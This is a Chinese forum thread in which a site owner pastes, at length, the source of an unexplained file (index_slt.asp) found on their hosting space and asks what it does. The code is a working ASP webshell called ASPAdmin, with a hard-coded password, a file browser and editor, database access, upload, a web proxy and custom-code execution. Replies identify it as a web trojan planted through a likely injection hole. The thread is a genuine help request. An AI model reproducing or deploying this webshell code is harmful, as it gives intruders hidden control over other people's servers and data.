十万火急 asp.net index_slt.asp 这是什么？

[古龙老子]

<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
' Option Explicit
Response.Buffer = True

Dim url, conn, sUrlB, theAct, thePath, rootPath, PageSize
Dim accessStr, pageName, sysFileList, isSqlServer, sPacketName
theAct = GetPost("theAct")
PageSize = 20 ''默认每页记录数
isSqlServer = False
rootPath = Server.MapPath("/")
pageName = GetPost("PageName")
url = Request.ServerVariables("URL") ''当前页的相对路径
sPacketName = "Packet.mdb" ''文件包默认文件名
thePath = Replace(getPost("thePath"), "\\", "\")
sysFileList = "$" & sPacketName & "$" & Left(sPacketName, InStrRev(sPacketName, ".") - 1) & ".ldb$"
accessStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";"

Const m = "ASPAdmin_A" ''Session标志
Const isDebugMode = False 'False,True''是否调试模式
Const maxPageCount = 600 ''查询时最多只列出N页的链接
Const userPassword = "56504D505051" ''登录密码
Const imageFileExt = "$gif$jpg$bmp$" ''图像后缀列表
Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"

Sub echo(str)
Response.Write(str)
End Sub

Sub IsIn()
If Session(m & "userPassword") <> userPassword Then
echo "<script>alert('没有权限的访问,请先登录!');location.href='" & url & "';</script>"
Response.End()
End If
End Sub

Function IIf(var, val1, val2)
If var = True Then
IIf = val1
Else
IIf = val2
End If
End Function

Sub RedirectTo(url)
Response.Redirect(url)
End Sub

Function GetPost(var)
Dim val
If Request.QueryString("PageName") = "PageUpload" Then
pageName = "PageUpload"
Exit Function
End If
val = RTrim(Request.Form(var))
If val = "" Then
val = RTrim(Request.QueryString(var))
End If
GetPost = val
End Function

Function HtmlEncode(str)
If IsNull(str) Then Exit Function
HtmlEncode = Server.HTMLEncode(str)
End Function

Function UrlEncode(str)
If IsNull(str) Then Exit Function
UrlEncode = Server.UrlEncode(str)
End Function

Sub ShowTitle(str)
Response.Write "<title>" & str & " - 程序网络工作组ASPAdmin(物理路径版) V1.02</title>"
Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>"
End Sub

Function GetTheSize(num)
Dim i, arySize(4)
arySize(0) = "B"
arySize(1) = "KB"
arySize(2) = "MB"
arySize(3) = "GB"
arySize(4) = "TB"
While(num / 1024 >= 1)
num = Fix(num / 1024 * 100) / 100
i = i + 1
WEnd
GetTheSize = num & " " & arySize(i)
End Function

Sub ShowErr(str)
Dim i, arrayStr
str = Server.HtmlEncode(str)
arrayStr = Split(str, "$$")

echo "<font size=2>"
echo "出错信息:<br/><br/>"
For i = 0 To UBound(arrayStr)
echo "  " & (i + 1) & ". " & arrayStr(i) & "<br/>"
Next
echo "</font>"

Response.End()
End Sub

Sub CreateFolder(thePath)
Dim i
i = InStr(Mid(thePath, 4), "\") + 3
Do While i > 0
If fso.FolderExists(Left(thePath, i)) = False Then
fso.CreateFolder(Left(thePath, i - 1))
End If
If InStr(Mid(thePath, i + 1), "\") Then
i = i + Instr(Mid(thePath, i + 1), "\")
Else
i = 0
End If
Loop
End Sub

Sub AlertThenClose(str)
If str = "" Then
Response.Write "<script>window.close();</script>"
Else
Response.Write "<script>alert(""" & str & """);window.close();</script>"
End If
End Sub

Sub ChkErr(Err)
If Err Then
echo "<hr style='color:#d8d8f0;'/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
echo "<hr style='color:#d8d8f0;'/> By Marcos 2005.06</font>"
Err.Clear
Response.End
End If
End Sub

Sub TopMenu()
echo "<form method=post name=formp action=""" & url & """>"
echo "<select name=PageName onchange=changePage(this)>"
echo "<option value=''>请选择功能页面</option>"
echo "<option value=PageCheck>服务器信息探针</option>"
echo "<option value=PageFso>FSO文件浏览操作器</option>"
echo "<option value=PageDBTool>数据库操作器</option>"
echo "<option value=PagePack>文件夹打包/解开器</option>"
echo "<option value=PageUpload>批量文件上传</option>"
echo "<option value=PageSearch>文本文件搜索器</option>"
echo "<option value=PageWebProxy>HTTP协议网页代理</option>"
echo "<option value=PageExecute>自定义ASP语句运行</option>"
echo "<option value=PageOut>退出系统</option>"
echo "</select>"
echo "</form>"
echo "<script lanuage=javascript>"
echo "formp.PageName.value='" & pageName & "';"
echo "function changePage(obj){"
echo " if(obj.value=='PageOut')"
echo " if(!confirm('确认要退出系统吗?'))return;"
echo "if(obj.value=='PageWebProxy')obj.form.target='_blank';"
echo " obj.form.submit();obj.form.target='';"
echo "}"
echo "</script>"
End Sub

Rem ++++++++++++++++++++++++++++++++++++
Rem 以下是页面选择部分
Rem ++++++++++++++++++++++++++++++++++++

PageOther()
If pageName <> "" Then
IsIn()
TopMenu()
End If

Select Case pageName
Case "PageSearch"
PageSearch()
Case "PageCheck"
PageCheck()
Case "PageFso"
PageFso()
Case "PageDBTool"
PageDBTool()
Case "PageUpload"
PageUpload()
Case "PagePack"
PagePack()
Case "PageExecute"
PageExecute()
Case "PageWebProxy"
PageWebProxy()
Case "", "PageOut"
PageLogin()
End Select



这些代码有什么用？
我的空间里这么会多了个文件 文件名就是：index_slt.asp
摆脱了？？？？

[古龙老子]

//////////////////////////////////////接上面的

Rem +++++++++++++++++++++++++++++++++++++
Rem 以下是各功能模块部分
Rem +++++++++++++++++++++++++++++++++++++

Sub PageSearch()
Dim strKey, strPath
strKey = GetPost("Key")
Server.ScriptTimeout = 5000
If thePath = "" Then thePath = rootPath

ShowTitle("文本文件搜索器")

SearchTable(strKey)

If theAct <> "" And strKey <> "" Then
SearchIt(strKey)
End If
End Sub

Sub SearchTable(strKey)
echo "<table width=750 border=1>"
echo "<form method=post action='" & url & "'>"
echo "<input type=hidden value=PageSearch name=PageName>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> 文本文件搜索器(需FSO支持)</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr>"
echo "<td> 路径</td>"
echo "<td> <input name=thePath type=text id=thePath value='"
echo HtmlEncode(thePath)
echo "' style='width:360px;'>"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td width='20%'> 关键字</td>"
echo "<td> <input name=Key type=text value='" & HtmlEncode(strKey) & "' id=Key style='width:400px;'> "
echo "<select name=theAct id=theAct>"
echo "<option value=FileName selected>仅文件名</option>"
echo "<option value=FileContent>仅文本内容</option>"
echo "<option value=Both>两者都</option>"
echo "</select>"
echo " <input type=submit name=Submit value=提交> </td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td>By Marcos 2005.06 </td>"
echo "</tr>"
echo "</form>"
echo "</table>"
End Sub

Sub SearchIt(key)
Dim strPath, theFolder
Response.Buffer = True
strPath = thePath
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " 目录不存在或者不允许访问!")
End If
Set theFolder = fso.GetFolder(strPath)

echo "<br/><div style='width:750;border:1px solid #d8d8f0;'>"

Select Case theAct
Case "Both"
Call SearchFolder(theFolder, key, 1)
Case "FileName"
Call SearchFolder(theFolder, key, 2)
Case "FileContent"
Call SearchFolder(theFolder, key, 3)
End Select

echo "</div>"

Set theFolder = Nothing
End Sub

Sub SearchFolder(folder, key, flag)
Dim ext, title, theFile, theFolder

For Each theFile In folder.Files
ext = LCase(fso.GetExtensionName(theFile.Path))
If flag = 1 Or flag = 2 Then
If InStr(LCase(theFile.Name), LCase(key)) > 0 Then echo FileLink(theFile, "")
End If
If flag = 1 Or flag = 3 Then
If Instr(EditableFileExt, "$" & ext & "$") > 0 Then
If SearchFile(theFile, key, title) Then echo FileLink(theFile, title)
End If
End If
Next

Response.Flush()

For Each theFolder In folder.SubFolders
Call SearchFolder(theFolder, key, flag)
Next
end sub

Function SearchFile(f, s, title)
Dim theFile, content, pos1, pos2
If isDebugMode = False Then On Error Resume Next

Set theFile = fso.OpenTextFile(f.Path)
content = theFile.ReadAll()
theFile.Close
Set theFile = Nothing

If Err Then
Err.Clear
End If

SearchFile = InStr(1, content, s, 1)
If SearchFile > 0 Then
pos1 = InStr(1, content, "<TITLE>", 1)
pos2 = InStr(1, content, "</TITLE>", 1)
title = ""
If pos1 > 0 And pos2 > 0 Then
title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
End If
End If
End Function

Function FileLink(file, title)
fileLink = file.Path
If title = "" Then
title = file.Name
End If
fileLink = " <font color=ff0000>" & title & "</font> " & fileLink & "<br/>"
End Function

Sub PageCheck()
ShowTitle("服务器信息探针")
InfoCheck()
If theAct <> "" Then
GetAppOrSession(theAct)
End If
ObjCheck()
End Sub

Sub InfoCheck()
Dim aryCheck(6)
If isDebugMode = False Then On Error Resume Next

aryCheck(0) = Server.ScriptTimeOut() & "(秒)"
aryCheck(1) = FormatDateTime(Now(), 0)
aryCheck(2) = Request.ServerVariables("SERVER_NAME")
aryCheck(2) = aryCheck(2) & ", " & Request.ServerVariables("LOCAL_ADDR")
aryCheck(2) = aryCheck(2) & ":" & Request.ServerVariables("SERVER_PORT")
aryCheck(3) = Request.ServerVariables("OS")
aryCheck(3) = IIf(aryCheck(3) = "", "Windows2003", aryCheck(3)) & ", " & Request.ServerVariables("SERVER_SOFTWARE")
aryCheck(3) = aryCheck(3) & ", " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion
aryCheck(4) = rootPath & ", " & GetTheSize(fso.GetFolder(rootPath).Size)
aryCheck(5) = "Path: " & Request.ServerVariables("PATH_TRANSLATED") & "<br />"
aryCheck(5) = aryCheck(5) & " Url : http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("Url")
aryCheck(6) = "变量数: " & Application.Contents.Count() & "(<a href=javascript:locate('app');>Application</a>),"
aryCheck(6) = aryCheck(6) & " 会话数: " & Session.Contents.Count & "(<a href=javascript:locate('session');>Session</a>),"
aryCheck(6) = aryCheck(6) & " 当前会话ID: " & Session.SessionId()

echo "<table width=750 border=1>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> 服务器基本信息"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr class=td>"
echo "<td width='20%'> 项目</td>"
echo "<td> 值</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 默认超时</td>"
echo "<td> "&aryCheck(0)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 当前时间</td>"
echo "<td> "&aryCheck(1)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 服务器名</td>"
echo "<td> "&aryCheck(2)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 软件环境</td>"
echo "<td> "&aryCheck(3)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 站点目录</td>"
echo "<td> "&aryCheck(4)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 当前路径</td>"
echo "<td> "&aryCheck(5)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td> 其它</td>"
echo "<td> "&aryCheck(6)&"</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td>By Marcos 2005.06 </td>"
echo "</tr>"
echo "</table>"
End Sub

Sub ObjCheck()
Dim aryObj(19)
Dim x, objTmp, theObj, strObj
If isDebugMode = False Then On Error Resume Next

strObj = Trim(getPost("TheObj"))
aryObj(0) = "MSWC.AdRotator|广告轮换组件"
aryObj(1) = "MSWC.BrowserType|浏览器信息组件"
aryObj(2) = "MSWC.NextLink|内容链接库组件"
aryObj(3) = "MSWC.Tools|"
aryObj(4) = "MSWC.Status|"
aryObj(5) = "MSWC.Counters|计数器组件"
aryObj(6) = "MSWC.PermissionChecker|权限检测组件"
aryObj(7) = "Adodb.Connection|ADO 数据对象组件"
aryObj(8) = "CDONTS.NewMail|虚拟 SMTP 发信组件"
aryObj(9) = "Scripting.FileSystemObject|FSO组件"
aryObj(10) = "Adodb.Stream|Stream 流组件"
aryObj(11) = "Shell.Application|"
aryObj(12) = "WScript.Shell|"
aryObj(13) = "Wscript.Network|"
aryObj(14) = "ADOX.Catalog|"
aryObj(15) = "JMail.SmtpMail|JMail 邮件收发组件"
aryObj(16) = "Persits.Upload.1|ASPUpload 文件上传组件"
aryObj(17) = "LyfUpload.UploadFile|刘云峰的文件上传组件组件"
aryObj(18) = "SoftArtisans.FileUp|SA-FileUp 文件上传组件"
aryObj(19) = strObj & "|您所要检测的组件"

echo "<br/>"
echo "<table width=750 border=1>"
echo "<tr>"
echo "<td colspan=3 class=td><font face=webdings>8</font> 服务器组件信息"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=3 class=trHead> </td>"
echo "</tr>"
echo "<tr class=td>"
echo "<td> 组件<font color=#666666>(描述)</font></td>"
echo "<td width=10% align=center>支持</td>"
echo "<td width=15% align=center>版本</td>"
echo "</tr>"
For Each x In aryObj
theObj = Split(x, "|")
If theObj(0) = "" Then Exit For
Set objTmp = Server.CreateObject(theObj(0))
If Err <> -2147221005 Then
x = x & "|√|"
x = x & objTmp.Version
Else
x = x & "|<font color=red>×</font>|"
End If
If Err Then Err.Clear
Set objTmp = Nothing

theObj = Split(x, "|")
theObj(1) = theObj(0) & IIf(theObj(1) <> "", " <font color=#666666>(" & theObj(1) & ")</font>", "")
echo "<tr>"
echo "<td> " & theObj(1) & "</td>"
echo "<td align=center>" & theObj(2) & "</td>"
echo "<td align=center>" & theObj(3) & "</td>"
echo "</tr>"
Next
echo "<form method=post action='" & url & "'>"
echo "<input type=hidden name=PageName value=PageCheck><input type=hidden name=theAct id=theAct>"
echo "<tr>"
echo "<td colspan=3> 其它组件检测:"
echo "<input name=TheObj type=text id=TheObj style='width:585px;' value=""" & strObj & """>"
echo "<input type=submit name=Submit value=提交></td>"
echo "</tr>"
echo "</form>"
echo "<tr>"
echo "<td colspan=3 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=3 class=td>By Marcos 2005.06 </td>"
echo "</tr>"
echo "</table>"
End Sub

[古龙老子]

////////////////////////////////////////接上面

Sub GetAppOrSession(theAct)
Dim x, y
If isDebugMode = False Then On Error Resume Next

echo "<br/>"
echo "<table width=750 border=1 class=fixTable>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> Application/Session 查看"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr class=td>"
echo "<td width='20%'> 变量</td>"
echo "<td> 值</td>"
echo "</tr>"
If theAct = "app" Then
For Each x In Application.Contents
echo "<tr><td valign=top>"
echo " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
echo "</td><td style='padding-left:7px;'><span>"
If IsArray(Application(x)) = True Then
For Each y In Application(x)
echo "<div>" & Replace(HtmlEncode(y), vbNewLine, "<br/>") & "</div>"
Next
Else
echo Replace(HtmlEncode(Application(x)), vbNewLine, "<br/>")
End If
echo "</span></td></tr>"
Next
End If
If theAct = "session" Then
For Each x In Session.Contents
echo "<tr><td valign=top>"
echo " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
echo "</td><td style='padding-left:7px;'><span>"
echo Replace(HtmlEncode(Session(x)), vbNewLine, "<br/>")
echo "</span></td></tr>"
Next
End If
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td>By Marcos 2005.06 </td>"
echo "</tr>"
echo "</table>"
End Sub

Sub PageFso()
ShowTitle("FSO文件浏览操作器")

Select Case theAct
Case "rename"
RenOne()
Case "download"
DownTheFile()
Response.End()
Case "del"
DelOne()
Case "newone"
NewOne()
Case "saveas"
SaveAs()
Case "save"
SaveToFile()
' AlertThenClose("文件修改成功!")
ShowEdit()
Response.End()
Case "showedit"
ShowEdit()
Response.End()
Case "showimage"
ShowImage()
Response.End()
Case "copy", "move"
MoveCopyOne()
End Select

If theAct <> "" Then thePath = GetPost("truePath")

FsoFileExplorer()
End Sub

[古龙老子]

/////////////////////////////接上面

Sub FsoFileExplorer()
Dim objX, theFolder, folderId, extName, parentFolderName
Dim strPath
If isDebugMode = False Then On Error Resume Next
If thePath = "" Then thePath = rootPath
strPath = thePath

If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " 目录不存在或者不允许访问!")
End If

Set theFolder = fso.GetFolder(strPath)
parentFolderName = fso.GetParentFolderName(strPath) & "\"

echo "<table width=750 border=1>"
echo "<form method=post action='" & url & "'>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> FSO文件浏览操作器"
echo "</tr>"
echo "<tr><td colspan=2 class=trHead> </td></tr>"
echo "<tr>"
echo "<td colspan=2> "
echo "路径: <input style='width:500px;' name=thePath value=""" & HtmlEncode(thePath) & """>"
echo "<input type=hidden name=truePath value=""" & HtmlEncode(thePath) & """>"
echo " <input type=button value='提交' onclick=Command('submit');>"
echo " <input type=button value=上传 onclick=Command('upload')>"
echo "</td>"
echo "</tr>"
echo "<tr><td colspan=2 class=trHead> </td></tr>"
echo "<tr><td valign=top>"
echo "<input type=hidden name=theAct>"
echo "<input type=hidden name=param>"
echo "<input type=hidden value=PageFso name=PageName>"
echo "<table width='99%' align=center>"
echo "<tr><td colspan=4 class=trHead> </td></tr><tr class=td><td>"

If parentFolderName <> "\" Then
folderId = Replace(parentFolderName, "\", "\\")
echo " <a href=""javascript:changeThePath("" & folderId & "");"">↑回上级目录</a>"
End If
echo "</td><td align=center width=80>大小</td>"
echo "<td align=center width=140>最后修改</td><td align=center>操作</td></tr>"

For Each objX In theFolder.SubFolders
folderId = Replace(objX.Path, "\", "\\")
echo "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>■</font>"
echo "<span class=fixSpan style='width:180;'>"
echo "<a href=""javascript:changeThePath("" & folderId & "");"">"& objX.Name & "</a></span>"
echo "</td>"
echo "<td align=center>-</td>"
echo "<td align=center>" & objX.DateLastModified & "</td><td>"
echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
echo "<input type=button onclick=""Command('rename',"" & objX.Name & "");"" value='Ren' title=重命名>"
echo "<input type=button value='SaveAs' title=另存为 onclick=""Command('saveas',"" & Replace(objX.Path, "\", "\\") & "")"">"
echo "</td></tr>"
Next
For Each objX In theFolder.Files
If Left(objX.Path, Len(rootPath)) <> rootPath Then
folderId = ""
Else
folderId = Replace(Replace(UrlEncode(Mid(objX.Path, Len(rootPath) + 1)), "%2E", "."), "+", "%20")
End If
echo "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>□</font>"
echo "<span class=fixSpan style='width:180;'>"
If folderId = "" Then
echo objX.Name
Else
echo "<a href='" & Replace(folderId, "%5C", "/") & "' target=_blank>" & objX.Name & "</a>"
End If
echo "</span></td><td align=center>" & GetTheSize(objX.Size) & "</td>"
echo "<td align=center>" & objX.DateLastModified & "</td><td>"
echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"

extName = LCase(fso.GetExtensionName(objX.Path))
If InStr(editableFileExt, "$" & extName & "$") > 0 Then
echo "<input type=button value='Edit' title=编辑 onclick=""Command('showedit',"" & objX.Name & "");"">"
End If
If InStr(imageFileExt, "$" & extName & "$") > 0 Then
echo "<input type=button value='View' title=查看图片 onclick=""Command('showimage',"" & objX.Name & "");"">"
End If
If extName = "mdb" Then
echo "<input type=button value='Access' title=数据库操作 onclick=Command('access',""" & objX.Name & """)>"
End If
echo "<input type=button value='D' title=下载 onclick=""Command('download',"" & objX.Name & "")"">"
echo "<input type=button value='Ren' title=重命名 onclick=""Command('rename',"" & objX.Name & "")"">"
echo "<input type=button value='S' title=另存为 onclick=""Command('saveas',"" & Replace(objX.Path, "\", "\\") & "")"">"
echo "</td></tr>"
Next
echo "<tr class=td><td colspan=3></td>"
echo "<td><input type=checkbox name=checkAll onclick=checkAllBox(this);>"
echo "<input type=button value='Delete' onclick=Command('del')>"
echo "<input type=button value='Pack' title=打包选中文件(夹) onclick=Command('pack')>"
echo "</td></tr></table>"
echo "</td><td width='20%' valign=top align=center>"
echo "<input type=button value=刷新 onclick=this.form.thePath.value=this.form.truePath.value;Command('submit');><br/>"
echo "<input type=button value=新建文件 onclick=Command('newone','file')><br/>"
echo "<input type=button value=新建文件夹 onclick=Command('newone','folder')><hr style='color:#d8d8f0;'/>"
echo "移动选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=MoveTo><br/><input type=button value='移动' onclick=Command('move');><hr style='color:#d8d8f0;'/>"
echo "复制选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=CopyTo><br/><input type=button value='复制' onclick=Command('copy');><hr style='color:#d8d8f0;'/>"
echo "</td></tr><tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td>By Marcos 2005.06 </td>"
echo "</tr>"
echo "</form>"
echo "</table>"

Set theFolder = Nothing
End Sub

Sub RenOne()
Dim objX, strPath, aryParam, isFile, isFolder
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
strPath = GetPost("truePath") & "\"
aryParam(0) = strPath & aryParam(0)
isFile = fso.FileExists(aryParam(0))
isFolder = fso.FolderExists(aryParam(0))

If isFile = False And isFolder = False Then
ShowErr("文件(夹)不存在或者不允许访问!")
End If

If isFile = False Then
Set objX = fso.GetFolder(aryParam(0))
objX.Name = aryParam(1)
Else
Set objX = fso.GetFile(aryParam(0))
objX.Name = aryParam(1)
End If
Set objX = Nothing

ChkErr(Err)
End Sub

[vrhero]

服务器信息探针...你的网站被人攻击了，不过层次比较低，留下明显的痕迹...

如果是虚拟空间，仔细检查你的代码，八成有注入漏洞...如果是自己的服务器就全面排查安全漏洞...

[winner2050]

已经不是探针的性质了，这个是web 木马。

人家打算下载数据库，删除文件之类的。

[古龙老子]

如何防范呢？漏洞在哪里？

[古龙老子]

没人知道吗？

[古龙老子]

走过路过，别错过呀